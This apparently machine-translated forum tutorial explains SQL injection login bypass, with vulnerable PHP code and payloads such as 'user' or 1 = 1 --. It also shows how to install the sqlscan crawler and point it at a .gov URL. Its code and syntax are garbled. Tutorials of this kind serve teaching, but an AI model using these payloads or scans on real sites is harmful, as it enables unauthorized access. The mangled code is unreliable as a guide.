An example of bypassing authorization. SQL Injection.

[BadB]

Today we will consider the possibility of bypassing authorization with SQL Injection.
SQL injection, a classic example of web vulnerabilities. In this article, we will see what SQL injection is, how it can bypass authorization, and how it works under the hood.

How authorization works

The site asks for a username and password. The web application then queries the database: "Is there a user with the username 'Test' and the password 'root'?" If the database indicates that the login information is correct, the web application allows the user to log in.

An example of a simple PHP code with authorization:

<? php

$ username = $ _POST ['username']; // Username
$ password = $ _POST ['password']; // Password
$ query = "select username, password from users where username = '. $ username.' and password = '. $ password.' limit 0.1 "; // command for request
$ result = mysql_query ($ query); // inquiry
$ rows = mysql_fetch_array ($ result); // get data
if ($ rows) // Check for correctness of data
{
 echo "Login successful";
 // Create Session or Set Cookies
} else {
 echo "login data invalid";
}
/>

Vulnerabilities in the code.
At the beginning, the code gets the data entered by the user and puts it directly into the SQL command. It does not check what type of data is presented. Here is the SQL query used.

SELECT username, password FROM users WHERE username = '$ username' AND password = '$ password' LIMIT 0,1;

To identify vulnerabilities in the code, we will carry out the so-called fuzzing.

Fuzzing is the transfer of random data to a website. Long strings / integers, etc. We know that if we want to break SQL overgrowth, we enter an apostrophe or double quotes. ".

Let's try to enter the username "user" and "pass" as the password. For code, our request will look something like this:

SELECT username, password FROM users WHERE username = 'user' AND password = 'pass'' LIMIT 0,1;

And accordingly, we get an SQL error:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near

'test' '' at line 1

The script takes our data and puts it in quotes. If I enter "test" as the password, then the sql query will contain password = 'test' :

SELECT username, password FROM users WHERE username = 'user' AND password = 'test' LIMIT 0,1;

This option will not cause errors.

But there is also other code after this line. ('LIMIT 0,1)

Therefore, conforming to the rules of SQL syntax is incorrect. This caused the server to throw an error. Think what will happen if I add this line as input.

test 'or 1 = 1 -

The request will look like:

SELECT username, password FROM users WHERE username = 'user' AND password = 'test' or 1 = 1 - 'LIMIT 0,1;

In SQL - - or - + as a character for a comment. so if we want to comment on something or block some part of the code, we can use that. In this request, everything that follows is ignored.

SELECT username, password FROM users WHERE username = 'user' AND password = 'test' or 1 = 1

But what happens if you add the following line to the SQL query:

or 1 = 1

What's interesting about the OR operator is that it tests two logical operators and, if one or both of them are true, it will return true.
So if the password is like a string test, or 1 = 1, it will return true. Since 1 is always 1 (oddly enough), this request ignores the wrong password. This is how we were able to bypass the password check.

But, what if we don't know the password or username?
We can use this string as a username and anything as a password.

user' or 1 = 1 --

Inquiry:

SELECT username, password FROM users WHERE username = 'user' or 1 = 1 - 'AND password =' xxxx 'LIMIT 0,1;

Since after - - the request ignores everything - it doesn't care about the password. This will give us access to the site.

 

[BadB]

Sqlscan: looking for sql injection on the site
Hello everyone! Found a tool called sqlscan. Sqlscan is a fast web crawler to find sql injection. Let's move on to the installation.

Installation
Download curl and php:

apt install php curl

Now the tool:

curl https://raw.githubusercontent.com/Cvar1984/sqlscan/dev/build/main.phar --output $ PREFIX / bin / sqlscan

We make the file executable:

chmod + x $ PREFIX / bin / sqlscan

And here are some examples of launching:

sqlscan http://example.gov --scan
sqlscan link_file.txt --scan